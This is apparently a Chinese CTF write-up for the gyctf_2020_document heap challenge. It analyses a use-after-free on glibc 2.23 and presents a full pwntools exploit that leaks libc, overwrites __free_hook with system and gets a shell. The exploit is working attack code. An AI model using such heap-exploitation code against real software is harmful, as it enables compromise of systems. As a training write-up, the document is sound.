今天来康康这道题gyctf_2020_document

静态分析确定漏洞类型

经典的堆菜单题,保护全开,2.23的libc。保护全开意味着got表劫持不了。增删改查四样动作都有,并且没有那种虚晃一枪(例如show函数直接给你puts一个too young too simple之类的)的函数。

先看add函数,malloc了两个堆块,都是固定大小,一个堆块是0x20大小,另一个是0x90大小。然后第二个堆块的指针存在了第一个堆块上面。第一个堆块后八个字节用来存了性别,性别要么1要么16,是通过判断你输入的是否为W来决定的。之后就是那个0x90的大堆块上面存一个名字,中间间隔一个flag,然后堆块偏移0x10的位置上面放上你要输入的内容。

看看delete函数,存在明显 的UAF漏洞,可以操作free的堆块。并且只free 0x90的堆块而0x20的堆块不会free。那么通过这些分析我们就可以先add两个堆块,free掉第一个之后show第一个就能泄露出libc的地址。

其它的中规中矩,唯独edit函数正常情况下它每个堆块只允许edit一次,但也只是因为那个0x20堆块的后面的那个flag原因。

泄露libc地址

这里建议,name强制8位就不要想这么多直接给/bin/sh;就完了。

1
2
3
4
add(b'/bin/sh;',b'W',b'a'*0x70)
add(b'/bin/sh;',b'W',b'b'*0x70)
free(0)
show(0)

得到libc地址

确定攻击思路

构造堆重叠以此能修改0x20堆块上面的指针到free_hook去覆盖free_hook为system函数,再free一个带有/bin/sh的堆块就可以getshell,此时bin中已经有一个0x90的unsorted bin,再次add一个因为先分配了这个0x20的堆块,unsorted bin就会进行切割,但是edit 0发现它在0x10偏移上edit的,因此不行。不行咱就再换一个嘛,再add一次,此时的unsorted bin会进入smallbin,但是不影响,还是从上面切割下来作为第四组的小块。然后edit第0个块把这个块的指针改成free_hook。此时第四个堆块的指针被改成了free_hook,那么此时再edit 3为system即可。实际测试需要考虑它在读数据之后会写在那个指针偏移0x10的地方写数据,所以前面我们edit的时候也把它改成free_hook-0x10。最后edit 3 为system函数。由于这个输入是for() read(0,buf,1)读取的,因此0x70个字节必须写满,那边由于都是hook,我们都清空较为保险,因为万一不小心调用到了那边的hook很容易crash,那么exp根据以上思路很容易得到了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

#context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.23-64.so')
else:
p=remote('node4.buuoj.cn',26476)
libc=ELF('./libc/libc-2.23-buu64.so')
return ELF(file_name),libc,p

def add(name,sex,payload):#8,1,0x70
p.sendlineafter(b'choice :',b'1')
p.sendafter(b'name',name)
p.sendafter(b'sex',sex,timeout=0.01)
p.sendafter(b'information',payload)

def edit(index,sex,payload):
p.sendlineafter(b'choice :',b'3')
p.sendlineafter(b'index',str(index))
if sex:p.sendlineafter(b'?',b'Y')
else:p.sendlineafter(b'?','N')
p.sendafter(b'information',payload)


def free(index):
p.sendlineafter(b'choice :',b'4')
p.sendlineafter(b'index :',str(index))

def show(index):
p.sendlineafter(b'choice :',b'2')
p.sendlineafter(b'index',str(index))

elf,libc,p=conn(0,'./gyctf_2020_document')

add(b'/bin/sh;',b'W',b'a'*0x70)
add(b'/bin/sh;',b'W',b'b'*0x70)
free(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-88-0x10-libc.sym['__malloc_hook']
success('libc:'+hex(libc_addr))
success('free_hook'+hex(libc_addr+libc.sym['__free_hook']))
add(b'/bin/sh;',b'W',b'c'*0x70)
add(b'/bin/sh;',b'W',b'd'*0x70)
edit(0,0,b'd'*0x10+p64(libc_addr+libc.sym['__free_hook']-0x10)+b'd'*0x58)
edit(3,0,p64(libc_addr+libc.sym['system'])+b'e'*0x68)
free(2)

#gdb.attach(p)
p.interactive()